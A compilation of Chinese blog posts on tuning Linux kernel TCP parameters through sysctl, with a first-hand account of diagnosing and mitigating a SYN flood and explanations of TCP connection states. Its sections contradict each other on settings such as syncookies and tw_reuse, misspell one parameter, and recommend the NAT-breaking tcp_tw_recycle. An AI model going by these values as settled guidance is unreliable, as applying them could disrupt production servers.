http://www.xshell.net/linux/Linux_sysctl_conf.html
優化Linux內核sysctl.conf參數來提高服務器並發處理能力
PS:在服務器硬件資源額定有限的情況下,最大的壓榨服務器的性能,提高服務器的並發處理能力,是很多運維技術人員思考的問題。要提高Linux系統下的負載能力,可以使用nginx等原生並發處理能力就很強的web服務器,如果使用Apache的可以啟用其Worker模式,來提高其並發處理能力。除此之外,在考慮節省成本的情況下,可以修改Linux的內核相關TCP參數,來最大的提高服務器性能。當然,最基礎的提高負載問題,還是升級服務器硬件了,這是最根本的。
Linux系統下,TCP連接斷開后,會以TIME_WAIT狀態保留一定的時間,然后才會釋放端口。當並發請求過多的時候,就會產生大量的TIME_WAIT狀態的連接,無法及時斷開的話,會占用大量的端口資源和服務器資源。這個時候我們可以優化TCP的內核參數,來及時將TIME_WAIT狀態的端口清理掉。
本文介紹的方法只對擁有大量TIME_WAIT狀態的連接導致系統資源消耗有效,如果不是這種情況下,效果可能不明顯。可以使用netstat命令去查TIME_WAIT狀態的連接狀態,輸入下面的組合命令,查看當前TCP連接的狀態和對應的連接數量:
#netstat -n | awk ‘/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}’
這個命令會輸出類似下面的結果:
LAST_ACK 16
SYN_RECV 348
ESTABLISHED 70
FIN_WAIT1 229
FIN_WAIT2 30
CLOSING 33
TIME_WAIT 18098
我們只用關心TIME_WAIT的個數,在這里可以看到,有18000多個TIME_WAIT,這樣就占用了18000多個端口。要知道端口的數量只有65535個,占用一個少一個,會嚴重的影響到后繼的新連接。這種情況下,我們就有必要調整下Linux的TCP內核參數,讓系統更快的釋放TIME_WAIT連接。
用vim打開配置文件:#vim /etc/sysctl.conf
在這個文件中,加入下面的幾行內容:
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_fin_timeout = 30
輸入下面的命令,讓內核參數生效:#sysctl -p
簡單的說明上面的參數的含義:
net.ipv4.tcp_syncookies = 1
#表示開啟SYN Cookies。當出現SYN等待隊列溢出時,啟用cookies來處理,可防范少量SYN攻擊,默認為0,表示關閉;
net.ipv4.tcp_tw_reuse = 1
#表示開啟重用。允許將TIME-WAIT sockets重新用於新的TCP連接,默認為0,表示關閉;
net.ipv4.tcp_tw_recycle = 1
#表示開啟TCP連接中TIME-WAIT sockets的快速回收,默認為0,表示關閉;
net.ipv4.tcp_fin_timeout
#修改系統默認的 TIMEOUT 時間。
在經過這樣的調整之后,除了會進一步提升服務器的負載能力之外,還能夠防御小流量程度的DoS、CC和SYN攻擊。
此外,如果你的連接數本身就很多,我們可以再優化一下TCP的可使用端口范圍,進一步提升服務器的並發能力。依然是往上面的參數文件中,加入下面這些配置:
net.ipv4.tcp_keepalive_time = 1200
net.ipv4.ip_local_port_range = 10000 65000
net.ipv4.tcp_max_syn_backlog = 8192
net.ipv4.tcp_max_tw_buckets = 5000
#這幾個參數,建議只在流量非常大的服務器上開啟,會有顯著的效果。一般的流量小的服務器上,沒有必要去設置這幾個參數。
net.ipv4.tcp_keepalive_time = 1200
#表示當keepalive起用的時候,TCP發送keepalive消息的頻度。缺省是2小時,改為20分鍾。
net.ipv4.ip_local_port_range = 10000 65000
#表示用於向外連接的端口范圍。缺省情況下很小:32768到61000,改為10000到65000。(注意:這里不要將最低值設的太低,否則可能會占用掉正常的端口!)
net.ipv4.tcp_max_syn_backlog = 8192
#表示SYN隊列的長度,默認為1024,加大隊列長度為8192,可以容納更多等待連接的網絡連接數。
net.ipv4.tcp_max_tw_buckets = 6000
#表示系統同時保持TIME_WAIT的最大數量,如果超過這個數字,TIME_WAIT將立刻被清除並打印警告信息。默 認為180000,改為6000。對於Apache、Nginx等服務器,上幾行的參數可以很好地減少TIME_WAIT套接字數量,但是對於Squid,效果卻不大。此項參數可以控制TIME_WAIT的最大數量,避免Squid服務器被大量的TIME_WAIT拖死。
內核其他TCP參數說明:
net.ipv4.tcp_max_syn_backlog = 65536
#記錄的那些尚未收到客戶端確認信息的連接請求的最大值。對於有128M內存的系統而言,缺省值是1024,小內存的系統則是128。
net.core.netdev_max_backlog = 32768
#每個網絡接口接收數據包的速率比內核處理這些包的速率快時,允許送到隊列的數據包的最大數目。
net.core.somaxconn = 32768
#web應用中listen函數的backlog默認會給我們內核參數的net.core.somaxconn限制到128,而nginx定義的NGX_LISTEN_BACKLOG默認為511,所以有必要調整這個值。
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216 #最大socket讀buffer,可參考的優化值:873200
net.core.wmem_max = 16777216 #最大socket寫buffer,可參考的優化值:873200
net.ipv4.tcp_timestsmps = 0
#時間戳可以避免序列號的卷繞。一個1Gbps的鏈路肯定會遇到以前用過的序列號。時間戳能夠讓內核接受這種“異常”的數據包。這里需要將其關掉。
net.ipv4.tcp_synack_retries = 2
#為了打開對端的連接,內核需要發送一個SYN並附帶一個回應前面一個SYN的ACK。也就是所謂三次握手中的第二次握手。這個設置決定了內核放棄連接之前發送SYN+ACK包的數量。
net.ipv4.tcp_syn_retries = 2
#在內核放棄建立連接之前發送SYN包的數量。
#net.ipv4.tcp_tw_len = 1
net.ipv4.tcp_tw_reuse = 1
# 開啟重用。允許將TIME-WAIT sockets重新用於新的TCP連接。
net.ipv4.tcp_wmem = 8192 436600 873200
# TCP寫buffer,可參考的優化值: 8192 436600 873200
net.ipv4.tcp_rmem = 32768 436600 873200
# TCP讀buffer,可參考的優化值: 32768 436600 873200
net.ipv4.tcp_mem = 94500000 91500000 92700000
# 同樣有3個值,意思是:
net.ipv4.tcp_mem[0]:低於此值,TCP沒有內存壓力。
net.ipv4.tcp_mem[1]:在此值下,進入內存壓力階段。
net.ipv4.tcp_mem[2]:高於此值,TCP拒絕分配socket。
上述內存單位是頁,而不是字節。可參考的優化值是:786432 1048576 1572864
net.ipv4.tcp_max_orphans = 3276800
#系統中最多有多少個TCP套接字不被關聯到任何一個用戶文件句柄上。
如果超過這個數字,連接將即刻被復位並打印出警告信息。
這個限制僅僅是為了防止簡單的DoS攻擊,不能過分依靠它或者人為地減小這個值,
更應該增加這個值(如果增加了內存之后)。
net.ipv4.tcp_fin_timeout = 30
#如果套接字由本端要求關閉,這個參數決定了它保持在FIN-WAIT-2狀態的時間。對端可以出錯並永遠不關閉連接,甚至意外當機。缺省值是60秒。2.2 內核的通常值是180秒,你可以按這個設置,但要記住的是,即使你的機器是一個輕載的WEB服務器,也有因為大量的死套接字而內存溢出的風險,FIN- WAIT-2的危險性比FIN-WAIT-1要小,因為它最多只能吃掉1.5K內存,但是它們的生存期長些。
經過這樣的優化配置之后,你的服務器的TCP並發處理能力會顯著提高。以上配置僅供參考,用於生產環境請根據自己的實際情況。
1. SYN Flood介紹
前段時間網站被攻擊多次,其中最猛烈的就是TCP洪水攻擊,即SYN Flood。
SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分布式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,發送大量偽造的TCP連接請求,常用假冒的IP或IP號段發來海量的請求連接的第一個握手包(SYN包),被攻擊服務器回應第二個握手包(SYN+ACK包),因為對方是假冒IP,對方永遠收不到包且不會回應第三個握手包。導致被攻擊服務器保持大量SYN_RECV狀態的“半連接”,並且會重試默認5次回應第二個握手包,塞滿TCP等待連接隊列,資源耗盡(CPU滿負荷或內存不足),讓正常的業務請求連接不進來。
詳細的原理,網上有很多介紹,應對辦法也很多,但大部分沒什么效果,這里介紹我們是如何診斷和應對的。
2. 診斷
我們看到業務曲線大跌時,檢查機器和DNS,發現只是對外的web機響應慢、CPU負載高、ssh登陸慢甚至有些機器登陸不上,檢查系統syslog:
# tail -f /var/log/messages
Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.
檢查連接數增多,並且SYN_RECV 連接特別多:
# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
TIME_WAIT 16855
CLOSE_WAIT 21
SYN_SENT 99
FIN_WAIT1 229
FIN_WAIT2 113
ESTABLISHED 8358
SYN_RECV 48965
CLOSING 3
LAST_ACK 313
根據經驗,正常時檢查連接數如下:
# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
TIME_WAIT 42349
CLOSE_WAIT 1
SYN_SENT 4
FIN_WAIT1 298
FIN_WAIT2 33
ESTABLISHED 12775
SYN_RECV 259
CLOSING 6
LAST_ACK 432
以上就是TCP洪水攻擊的兩大特征。執行netstat -na>指定文件,保留罪證。
3. 應急處理
根據netstat查看到的對方IP特征:
# netstat -na |grep SYN_RECV|more
利用iptables臨時封掉最大嫌疑攻擊的IP或IP號段,例如對方假冒173.*.*.*號段來攻擊,短期禁用173.*.*.*這個大號段(要確認小心不要封掉自己的本地IP了!)
# iptables -A INPUT -s 173.0.0.0/8 -p tcp –dport 80 -j DROP
再分析剛才保留的罪證,分析業務,用iptables解封正常173.*.*.*號段內正常的ip和子網段。這樣應急處理很容易誤傷,甚至可能因為封錯了導致ssh登陸不了服務器,並不是理想方式。
4. 使用F5擋攻擊
應急處理畢竟太被動,因為本機房的F5比較空閑,運維利用F5來擋攻擊,采用方式:讓客戶端先和F5三次握手,連接建立之后F5才轉發到后端業務服務器。后來被攻擊時F5上看到的現象:
1. 連接數比平時多了500萬,攻擊停止后恢復。
2. 修改F5上我們業務的VS模式后,F5的CPU消耗比平時多7%,攻擊停止后恢復。
3. 用F5擋效果明顯,后來因攻擊無效后,用戶很少來攻擊了,畢竟攻擊也是有成本的。
5. 調整系統參數擋攻擊
沒有F5這種高級且昂貴的設備怎么辦?我測試過以下參數組合能明顯減小影響,准備以后不用F5抗攻擊。
第一個參數tcp_synack_retries = 0是關鍵,表示回應第二個握手包(SYN+ACK包)給客戶端IP后,如果收不到第三次握手包(ACK包)后,不進行重試,加快回收“半連接”,不要耗光資源。
不修改這個參數,模擬攻擊,10秒后被攻擊的80端口即無法服務,機器難以ssh登錄; 用命令netstat -na |grep SYN_RECV檢測“半連接”hold住180秒;
修改這個參數為0,再模擬攻擊,持續10分鍾后被攻擊的80端口都可以服務,響應稍慢些而已,只是ssh有時也登錄不上;檢測“半連接”只hold住3秒即釋放掉。
修改這個參數為0的副作用:網絡狀況很差時,如果對方沒收到第二個握手包,可能連接服務器失敗,但對於一般網站,用戶刷新一次頁面即可。這些可以在高峰期或網絡狀況不好時tcpdump抓包驗證下。
根據以前的抓包經驗,這種情況很少,但為了保險起見,可以只在被tcp洪水攻擊時臨時啟用這個參數。
tcp_synack_retries默認為5,表示重發5次,每次等待30~40秒,即“半連接”默認hold住大約180秒。詳細解釋:
an SYN request. In other words, this tells the system how many times to try to establish a passive
TCP connection that was started by another host.
This variable takes an integer value, but should under no circumstances be larger than 255 for the
same reasons as for the tcp_syn_retries variable. Each retransmission will take aproximately 30-40
seconds. The default value of the tcp_synack_retries variable is 5, and hence the default timeout
of passive TCP connections is aproximately 180 seconds.
之所以可以把tcp_synack_retries改為0,因為客戶端還有tcp_syn_retries參數,默認是5,即使服務器端沒有重發SYN+ACK包,客戶端也會重發SYN握手包。詳細解釋:
packet for an active TCP connection attempt.
This variable takes an integer value, but should not be set higher than 255 since each
retransmission will consume huge amounts of time as well as some amounts of bandwidth. Each
connection retransmission takes aproximately 30-40 seconds. The default setting is 5, which
would lead to an aproximate of 180 seconds delay before the connection times out.
第二個參數net.ipv4.tcp_max_syn_backlog = 200000也重要,具體多少數值受限於內存。
以下配置,第一段參數是最重要的,第二段參數是輔助的,其余參數是其他作用的:
# vi /etc/sysctl.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#最關鍵參數,默認為5,修改為0 表示不要重發
net.ipv4.tcp_synack_retries = 0
#半連接隊列長度
net.ipv4.tcp_max_syn_backlog = 200000
#系統允許的文件句柄的最大數目,因為連接需要占用文件句柄
fs.file-max = 819200
#用來應對突發的大並發connect 請求
net.core.somaxconn = 65536
#最大的TCP 數據接收緩沖(字節)
net.core.rmem_max = 1024123000
#最大的TCP 數據發送緩沖(字節)
net.core.wmem_max = 16777216
#網絡設備接收數據包的速率比內核處理這些包的速率快時,允許送到隊列的數據包的最大數目
net.core.netdev_max_backlog = 165536
#本機主動連接其他機器時的端口分配范圍
net.ipv4.ip_local_port_range = 10000 65535
# ……省略其它……
|
使配置生效:
# sysctl -p
注意,以下參數面對外網時,不要打開。因為副作用很明顯,具體原因請google,如果已打開請顯式改為0,然后執行sysctl -p關閉。因為經過試驗,大量TIME_WAIT狀態的連接對系統沒太大影響:
1
2
3
4
5
6
7
8
|
#當出現 半連接 隊列溢出時向對方發送syncookies,調大 半連接 隊列后沒必要
net.ipv4.tcp_syncookies = 0
#TIME_WAIT狀態的連接重用功能
net.ipv4.tcp_tw_reuse = 0
#時間戳選項,與前面net.ipv4.tcp_tw_reuse參數配合
net.ipv4.tcp_timestamps = 0
#TIME_WAIT狀態的連接回收功能
net.ipv4.tcp_tw_recycle = 0
|
為了處理大量連接,還需改大另一個參數:
# vi /etc/security/limits.conf
在底下添加一行表示允許每個用戶都最大可打開409600個文件句柄(包括連接):
* – nofile 409600
6. 參考資料
文件句柄不要超過系統限制/usr/include/linux/fs.h,相關鏈接: http://blog.yufeng.info/archives/1380
#define NR_OPEN (1024*1024) /* Absolute upper limit on fd num */
內核參數詳細解釋:http://www.frozentux.net/ipsysctl-tutorial/chunkyhtml/tcpvariables.html
7. 結束語
TCP洪水攻擊還沒完美解決方案,希望本文對您有所幫助,讓您快速了解。
內核的優化跟服務器的優化一樣,應本着穩定安全的原則。下面以64位的Centos5.5下的Squid服務器為例來說明,待客戶端與服務器端建立TCP/IP連接后就會關閉SOCKET,服務器端連接的端口狀態也就變為TIME_WAIT了。那是不是所有執行主動關閉的SOCKET都會進入TIME_WAIT狀態呢?有沒有什么情況使主動關閉的SOCKET直接進入CLOSED狀態呢?答案是主動關閉的一方在發送最后一個ACK后就會進入TIME_WAIT狀態,並停留2MSL(Max Segment LifeTime)時間,這個是TCP/IP必不可少的,也就是“解決”不了的。
TCP/IP的設計者如此設計,主要原因有兩個:
防止上一次連接中的包迷路后重新出現,影響新的連接(經過2MSL時間后,上一次連接中所有重復的包都會消失)。
為了可靠地關閉TCP連接。主動關閉方發送的最后一個ACK(FIN)有可能會丟失,如果丟失,被動方會重新發FIN,這時如果主動方處於CLOSED狀態,就會響應RST而不是ACK。所以主動方要處於TIME_WAIT狀態,而不能是CLOSED狀態。另外,TIME_WAIT並不會占用很大的資源,除非受到攻擊。
在Squid服務器中可輸入查看當前連接統計數的命令,如下所示:
1
2
3
4
5
6
7
8
|
#netstat -n| awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
LAST_ACK 14
SYN_RECV 348
ESTABLISHED 70
FIN_WAIT1 229
FIN_WAIT2 30
CLOSING 33
TIME_WAIT 18122
|
01
02
03
04
05
06
07
08
09
10
|
CLOSED:無連接是活動的或正在進行中的。
LISTEN:服務器在等待進入呼叫。
SYN_RECV:一個連接請求已經到達,等待確認。
SYN_SENT:應用已經開始,打開一個連接。
ESTABLISHED:正常數據傳輸狀態。
FIN_WAIT1:應用說它已經完成。
FIN_WAIT2:另一邊已同意釋放。
CLOSING:兩邊同時嘗試關閉。
TIME_WAIT:另一邊已初始化一個釋放。
LAST_ACK:等待所有分組死掉。
|
也就是說,這條命令可以把當前系統的網絡連接狀態分類匯總。
在Linux下高並發的Squid服務器中,TCP TIME_WAIT套接字數量經常可達兩三萬,服務器很容易就會被拖死。不過,我們可以通過修改Linux內核參數來減少Squid服務器的TIME_WAIT套接字數量,命令如下所示:
1
|
#vim /etc/sysctl.conf
|
然后, 增加以下參數:
1
2
3
4
5
6
7
8
9
|
#適用於Squid服務器
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_keepalive_time = 1200
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.ip_local_port_range = 1024 65000
net.ipv4.tcp_max_syn_backlog = 8192
net.ipv4.tcp_max_tw_buckets = 5000
|
其中各參數含義如下:
1
2
3
4
5
6
7
8
|
net.ipv4.tcp_syncookies=1表示開啟SYN Cookies。當出現SYN等待隊列溢出時,啟用cookie來處理,可防范少量的SYN攻擊。默認為0,表示關閉。
net.ipv4.tcp_tw_reuse=1表示開啟重用。允許將TIME-WAIT套接字重新用於新的TCP連接。默認為0,表示關閉。
net.ipv4.tcp_tw_recycle=1表示開啟TCP連接中TIME-WAIT套接字的快速回收。默認為0,表示關閉。
net.ipv4.tcp_fin_timeout=30表示如果套接字由本端要求關閉,這個參數決定了它保持在FIN-WAIT-2狀態的時間。
net.ipv4.tcp_keepalive_time=1200表示當keepalive啟用時,TCP發送keepalive消息的頻度。默認是2小時,這里改為20分鍾。
net.ipv4.ip_local_port_range=1024 65000表示向外連接的端口范圍。默認值很小:32768~61000,改為1024~65000。
net.ipv4.tcp_max_syn_backlog=8192表示SYN隊列的長度,默認為1024,加大隊列長度為8192,可以容納更多等待連接的網絡連接數。
net.ipv4.tcp_max_tw_buckets=5000表示系統同時保持TIME_WAIT套接字的最大數量,如果超過這個數 字,TIME_WAIT套接字將立刻被清除並打印警告信息。默認為180000,改為5000。對於Apache、Nginx等服務器,前面介紹的幾個參 數已經可以很好地減少TIME_WAIT套接字數量,但是對於Squid來說,效果卻不大。有了此參數就可以控制TIME_WAIT套接字的最大數量,避 免Squid服務器被大量的TIME_WAIT套接字拖死。
|
執行以下命令使內核配置立即生效:
1
|
#/sbin/sysctl -p
|
如果是用於Apache或Nginx等的Web服務器,或Nginx的反向代理,則只需要更改以下幾項即可:
1
2
3
4
5
|
#適用於Apache或Nginx等web服務器,或Nginx的反向代理
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.ip_local_port_range = 1024 65000
|
如果是郵件服務器,則建議內核方案如下:
1
2
3
4
5
6
7
|
#適用於郵件服務器
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_keepalive_time = 300
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.ip_local_port_range = 5000 65000
kernel.shmmax = 134217728
|
最后記得,執行sysctl -p命令市內核配置生效:
1
|
#/sbin/sysctl -p
|
附:本文摘自《構建高可用Linux服務器》一書第1版63頁,部分文字有調整。
http://www.linuxde.net/2013/05/13600.html
我們這里應用的是CentOS5.3,並內核使用的是2.6.18-128.el5PAE #1 SMP 。修改部分TCP ,有的是為了提高性能與負載,但是存在降低穩定性的風險。有的則是安全方面的配置,則有可能犧牲了性能。
1.TCP keepalive TCP連接保鮮設置
echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time echo 15 > /proc/sys/net/ipv4/tcp_keepalive_intvl echo 5 > /proc/sys/net/ipv4/tcp_keepalive_probes
keepalive是TCP保鮮定時器。當網絡兩端建立了TCP連接之后,閑置idle(雙方沒有任何數據流發送往來)了tcp_keepalive_time后,服務器內核就會嘗試向客戶端發送偵測包,來判斷TCP連接狀況(有可能客戶端崩潰、強制關閉了應用、主機不可達等等)。如果沒有收到對方的回答(ack包),則會在tcp_keepalive_intvl后再次嘗試發送偵測包,直到收到對對方的ack,如果一直沒有收到對方的ack,一共會嘗試tcp_keepalive_probes次,每次的間隔時間在這里分別是15s, 30s, 45s, 60s, 75s。如果嘗試tcp_keepalive_probes,依然沒有收到對方的ack包,則會丟棄該TCP連接。
2. syn cookies設置
echo 0 > /proc/sys/net/ipv4/tcp_syncookies
在CentOS5.3中,該選項默認值是1,即啟用syn cookies功能。我們建議先關閉,直到確定受到syn flood攻擊的時候再開啟syn cookies功能,有效地防止syn flood攻擊。也可以通過iptables規則拒絕syn flood攻擊。
3.TCP 連接建立設置
echo 8192 > /proc/sys/net/ipv4/tcp_max_syn_backlog echo 2 > /proc/sys/net/ipv4/tcp_syn_retries echo 2 > /proc/sys/net/ipv4/tcp_synack_retries
tcp_max_syn_backlog SYN隊列的長度,時常稱之為未建立連接隊列。系統內核維護着這樣的一個隊列,用於容納狀態為SYN_RESC的TCP連接(half-open connection),即那些依然尚未得到客戶端確認(ack)的TCP連接請求。加大該值,可以容納更多的等待連接的網絡連接數。
tcp_syn_retries 新建TCP連接請求,需要發送一個SYN包,該值決定內核需要嘗試發送多少次syn連接請求才決定放棄建立連接。默認值是5. 對於高負責且通信良好的物理網絡而言,調整為2
tcp_synack_retries 對於遠端SYN連接請求,內核會發送SYN+ACK數據包來確認收到了上一個SYN連接請求包,然后等待遠端的確認(ack數據包)。該值則指定了內核會向遠端發送tcp_synack_retires次SYN+ACK數據包。默認設定值是5,可以調整為2
4. TCP 連接斷開相關設置
echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout echo 15000 > /proc/sys/net/ipv4/tcp_max_tw_buckets echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle
tcp_fin_timeout 對於由本端主動斷開連接的TCP連接,本端會主動發送一個FIN數據報,在收到遠端ACK后,且並沒有收到遠端FIN包之前,該TCP連接的狀態是FIN_WAIT_2狀態,此時當遠端關閉了應用,網絡不可達(拔網張),程序不可斷僵死等等,本端會一直保留狀態為FIN_WAIT_2狀態的TCP連接,該值tcp_fin_timeout則指定了狀態為FIN_WAIT_2的TCP連接保存多長時間,一個FIN_WAIT_2的TCP連接最多占1.5k內存。系統默認值是60秒,可以將此值調整為30秒,甚至10秒。
tcp_max_tw_buckets 系統同時處理TIME_WAIT sockets數目。如果一旦TIME_WAIT tcp連接數超過了這個數目,系統會強制清除並且顯示警告消息。設立該限制,主要是防止那些簡單的DoS攻擊,加大該值有可能消耗更多的內存資源。如果TIME_WAIT socket過多,則有可能耗盡內存資源。默認值是18w,可以將此值設置為5000~30000
tcp_tw_resue 是否可以使用TIME_WAIT tcp連接用於建立新的tcp連接。
tcp_tw_recycle 是否開啟快帶回收TIME_WAIT tcp連接的功能。
5. tcp 內存資源使用相參數設定
echo 16777216 > /proc/sys/net/core/rmem_max echo 16777216 > /proc/sys/net/core/wmem_max cat /proc/sys/net/ipv4/tcp_mem echo “4096 65536 16777216″ > /proc/sys/net/ipv4/tcp_rmem echo “4096 87380 16777216″ > /proc/sys/net/ipv4/tcp_wmem
rmem_max 定義了接收窗口可以使用的最大值,可以根據BDP值進行調節。
wmem_max 定義了發送窗口可以使用的最大值,可以根據BDP什值進行調整。
tcp_mem [low, pressure, high] TCP用這三個值來跟蹤內存使用情況,來限定資源占用。通常情況下,在系統boot之時,內核會根據可用內存總數計算出這些值。如果出現了Out of socket memory,則可以試着修改這個參數。
1)low: 當TCP使用了低於該值的內存頁面數時,TCP不會考濾釋放內存。
2)pressure: 當TCP使用了超過該值的內存頁面數量,TCP試圖穩定其對內存的占用,進入pressure模式,直到內存消耗達於low值,退出該模式。
3)hight:允許所有tcp sockets用於排隊緩沖數據報的內存頁數。
tcp_rmem [min, default, max]
1)min 為每個TCP連接(tcp socket)預留用於接收緩沖的內存數量,即使在內存出現緊張情況下TCP socket都至少會有這么多數量的內存用於接收緩沖。
2)default 為TCP socket預留用於接收緩沖的內存數量,默認情況下該值影響其它協議使用的 rmem_default的值,所以有可能被rmem_default覆蓋。
3)max 該值為每個tcp連接(tcp socket)用於接收緩沖的內存最大值。該值不會影響wmem_max的值,設置了選項參數 SO_SNDBUF則不受該值影響。
tcp_wmem [min, default, max] 如上(tcp_rmen)只不過用於發送緩存。
注:
1)可以通過sysctl -w 或者寫入/etc/sysctl.conf永久保存
2)性能調優僅在於需要的時候進行調整,調整以后需要采集數據與基准測試數據進行比較。建議,不需要盲從地調整這些參數。
http://cpjsjxy.iteye.com/blog/2090386
主動發起關閉TCP鏈接端狀態轉換圖
上圖是tcp連接主動關閉端的狀態轉換圖:
(1)應用層調用close函數發起關閉連接請求
(2)發送FIN到對端,關閉寫通道,自己進入FIN_WAIT1狀態
(3)等待對端的確認ACK到來,接受到ACK后進入FIN_WAIT2狀態;如果在超時時間內沒有收到確認ACK直接進入CLOSED狀態
(4)如果在FIN_WAIT1狀態時收到了對端的FIN則進入CLOSING狀態(雙發都發出了關閉連接請求)
(5)在FIN_WAIT2接受到了對端FIN后進入TIME_WAIT狀態;如果在超時時間內沒有收這個FIN則直接進入CLOSED狀態
(6)在TIME_WAIT狀態等待2個MSL(2個報文最長存活周期)后進入CLOSED狀態
被動關閉TCP鏈接端狀態轉換圖
上圖是tcp連接被動關閉方的狀態轉換圖
(1)收到對端FIN后,關閉讀通道進入CLOSE_WAIT狀態
(2)在CLOSE_WAIT狀態等待應用層調用close函數關閉連接
(3)如果在超時時間內調用了close,則進入LAST_ACK狀態;否則直接進入CLOSED狀態
(4)在LAST_ACK狀態,發送FIN到對端並等待對端的確認ACK
(5)如果在超時時間內收到了確認ACK則進入CLOSED狀態,否則直接進入CLOSED狀態
狀態分析
FIN_WAIT1
主動方調用close函數關閉連接后立刻進入FIN_WAIT1狀態,此時只要收到對端確認ACK后馬上會進入FIN_WAIT2狀態。
出現場景:主動方等待ACK過程中網絡斷掉了,導致長時間收不到ACK,主動方就會停留在CLOSE_WAIT1狀態上(超時時間:一般默認60s超時)。此時我們可以使用netstat -anpt 命令看到這種狀態。這個狀態在實際的工作中很少見。
FIN_WAIT2
主動端在等待對端FIN到來過程中,會一你直保持這個狀態(超時時間:一般默認是60s)。由於網絡中斷,或者對端很忙還沒來得及發送FIN、或者對端有bug忘記關閉連接等都會導致主動端長時間處於FIN_WAIT2狀態。如果主動方發現大量FIN_WAIT2狀態時,應該引起相關人員的注意,這可能是網絡不穩、對端程序bug的表現。這個狀態比較常見。
TIME_WAIT
主動方收到對端的FIN后進入TIME_WAIT狀態。然后發送最后一個確認ACK到對端。之后等待2個最大的報文存活周期,正常的關閉流程客戶端TCP連接都會經過這個狀態,最終進入CLOSED狀態。所以我們使用netstat -anpt命令發現客戶端有很多的TIME_WAIT,一般這是正常的現象。這個狀態最常見。
CLOSING
雙發幾乎同時都調用了close接口主動關閉連接,此時都進入了FIN_WAIT1狀態。如果在FIN_WAIT1狀態期望收到對方的ACK但卻收到了對方的FIN,這時候雙方都進入CLOSING狀態。然后都給對方一個ACK確認,收到了ACK后就會進入CLOSED狀態了。
CLOSE_WAIT
這個狀態表明TCP連接等待被關閉。只可能在被動方出現。如果被動方存在大量的CLOSE_WAIT狀態需要因為我們的特別注意了。我們要仔細研究確認為什么被動方遲遲不願關閉連接(或許是我們程序中的bug開啟了連接,用完后卻忘記關閉)
目前開發過程中遇到如下這個場景導致被動方有很多的CLOSE_WAIT狀態:
A是一個應用程序,B是一個tomcat服務器
A開了一個連接Conn,發送請求給B
A接受相應數據后沒有調用Conn.close關閉連接,在A端垃圾回收這些Conn對象前,這些連接一直保持着
B端的連接超時后會主動發起關閉連接請求給A,此時A進入了CLOSE_WAIT狀態,B進入了FIN_WAIT2狀態,由於A遲遲不發送FIN給B,B端觸發timeout直接進入了CLOSED狀態。
這樣一個場景B端由於有超時設置一個為60s,不會存在大量的FIN_WAIT2狀態
但是A端就會殘留大量的CLOSE_WAIT狀態(CLOSE_WAIT狀態也有超時,但是太大,默認為43200s,詳情見tcp_timeout_close_wait系統配置)。還好A端的java虛擬機的最大對內存配置較小,由於CLOSE_WAIT狀態連接同樣占用了內存資源,數量很多后就會觸發垃圾回收,此時A端的CLOSE_WAIT的連接Conn對象就會被銷毀了(同時內存和句柄、端口等資源也被釋放了)
LAST_ACK
當被動端調用close接口關閉連接后便會進入這個狀態,同時發送一個FIN給對端。在接受對端的ACK確認后便會進入CLOSED狀態,這個狀態一般不易出現,除非網絡中斷,一般對端會很快給與響應的。這個狀態只可能在被動端出現。
狀態總結
主動端可能出現的狀態:FIN_WAIT1、FIN_WAIT2、CLOSING、TIME_WAIT
被動端可能出現的狀態:CLOSE_WAIT LAST_ACK
NOTE:
(1)主動端出現大量的FIN_WAIT1時需要注意網絡是否暢通、出現大量的FIN_WAIT2需要仔細檢查程序為何遲遲收不到對端的FIN(可能是主動方或者被動方的bug)、出現大量的TIME_WAIT需要注意系統的並發量/socket句柄資源/內存使用/端口號資源等。
(2)被動端出現大量的 CLOSE_WAIT 需要仔細檢查為何自己遲遲不願調用close關閉連接(可能是bug,socket打開用完沒有關閉)
http://soarwilldo.blog.51cto.com/5520138/1337535
net.ipv4.tcp_fin_timeout = 10
net.ipv4.tcp_keepalive_time = 30
net.ipv4.tcp_window_scaling = 0
net.ipv4.tcp_sack = 0
/sbin/sysctl -p
則可以幫助你將請求80服務的client ip按照連接數排序。
Linux下查看Apache的請求數
#ps -ef|grep httpd|wc -l
1388
統計httpd進程數,連個請求會啟動一個進程,使用於Apache服務器。
表示Apache能夠處理1388個並發請求,這個值Apache可根據負載情況自動調整,我這組服務器中每台的峰值曾達到過2002。
#netstat -nat|grep -i "80"|wc -l
4341
netstat -an會打印系統當前網絡鏈接狀態,而grep -i “80″是用來提取與80端口有關的連接的, wc -l進行連接數統計。
最終返回的數字就是當前所有80端口的請求總數。
#netstat -na|grep ESTABLISHED|wc -l
376
netstat -an會打印系統當前網絡鏈接狀態,而grep ESTABLISHED 提取出已建立連接的信息。 然后wc -l統計。
最終返回的數字就是當前所有80端口的已建立連接的總數。
#netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
FIN_WAIT_1 286
FIN_WAIT_2 960
SYN_SENT 3
LAST_ACK 32
CLOSING 1
CLOSED 36
SYN_RCVD 144
TIME_WAIT 2520
ESTABLISHED 352
這條語句是在張宴那邊看到,據說是從新浪互動社區事業部技術總監王老大那兒獲得的,非常不錯。返回參數的說明如下:
SYN_RECV表示正在等待處理的請求數;
